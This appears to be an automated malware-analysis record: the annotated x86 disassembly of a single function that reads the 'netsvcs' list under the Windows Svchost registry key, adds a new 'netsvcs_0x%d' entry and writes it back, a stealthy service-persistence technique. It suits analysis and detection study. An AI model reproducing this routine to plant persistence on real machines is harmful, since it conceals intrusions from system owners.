Function at 0x4580f0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc0
push ebx
push esi
push edi
lea edi, [ebp - 0xcc0]
mov ecx, 0x330
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x52301c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x52803b
call fcn.00453170
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
lea edi, [ebp - 0x878]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, esp
lea eax, [ebp - 0x24]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x878]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp esi, esp
call fcn.00453224
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x458179
xor eax, eax
jmp 0x4583e2
mov dword [ebp - 0x890], 0x800
mov esi, esp
lea eax, [ebp - 0x890]
push eax
lea ecx, [ebp - 0x82c]
push ecx
lea edx, [ebp - 0x884]
push edx
push 0
push str.netsvcs
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp esi, esp
call fcn.00453224
mov dword [ebp - 0x18], eax
mov esi, esp
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, esp
call fcn.00453224
cmp dword [ebp - 0x18], 0
je 0x4581e1
mov esi, esp
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.00453224
mov dword [ebp - 0x89c], 0
mov byte [ebp - 0x8a5], 0
mov esi, esp
mov eax, dword [ebp - 0x89c]
push eax
push str.netsvcs_0x_d
lea ecx, [ebp - 0x8e4]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.00453224
lea eax, [ebp - 0x82c]
mov dword [ebp - 0x838], eax
jmp 0x45823f
push 0
mov eax, dword [ebp - 0x838]
push eax
call fcn.00454007
add esp, 8
add eax, 1
mov dword [ebp - 0x838], eax
mov eax, dword [ebp - 0x838]
movsx ecx, byte [eax]
test ecx, ecx
je 0x458278
mov esi, esp
lea eax, [ebp - 0x8e4]
push eax
mov ecx, dword [ebp - 0x838]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
cmp esi, esp
call fcn.00453224
test eax, eax
jne 0x458276
mov byte [ebp - 0x8a5], 1
jmp 0x458278
jmp 0x458225
movzx eax, byte [ebp - 0x8a5]
test eax, eax
jne 0x458285
jmp 0x4582a8
mov byte [ebp - 0x8a5], 0
mov eax, dword [ebp - 0x89c]
add eax, 1
mov dword [ebp - 0x89c], eax
mov eax, 1
test eax, eax
jne 0x4581f2
mov esi, esp
lea eax, [ebp - 0x8e4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.00453224
add eax, 1
mov dword [ebp - 0xcb0], eax
cmp dword [ebp - 0xcb0], 0x32
jae 0x4582d2
jmp 0x4582d7
call fcn.00452563
mov ecx, dword [ebp - 0xcb0]
mov byte [ebp + ecx - 0x8e4], 0
mov esi, esp
lea eax, [ebp - 0x8e4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.00453224
add eax, 2
push eax
lea ecx, [ebp - 0x8e4]
push ecx
mov edx, dword [ebp - 0x890]
lea eax, [ebp + edx - 0x82d]
push eax
call fcn.00453675
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x8e4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.00453224
mov ecx, dword [ebp - 0x890]
lea edx, [ecx + eax + 1]
mov esi, esp
push edx
lea eax, [ebp - 0x82c]
push eax
push 7
push 0
push str.netsvcs
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, esp
call fcn.00453224
mov dword [ebp - 0x18], eax
mov esi, esp
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.00453224
mov esi, esp
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, esp
call fcn.00453224
movzx eax, byte [ebp - 0x8a5]
test eax, eax
jne 0x4583df
mov esi, esp
lea eax, [ebp - 0x8e4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.00453224
add eax, 1
push eax
call fcn.00451a5f
add esp, 4
mov dword [ebp - 0xcbc], eax
mov ecx, dword [ebp - 0xcbc]
mov dword [ebp - 0xc], ecx
mov esi, esp
lea eax, [ebp - 0x8e4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00453224
mov eax, dword [ebp - 0xc]
push edx
mov ecx, ebp
push eax
lea edx, [0x458414]
call fcn.004533a5
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00452e37
add esp, 0xcc0
cmp ebp, esp
call fcn.00453224
mov esp, ebp
pop ebp
ret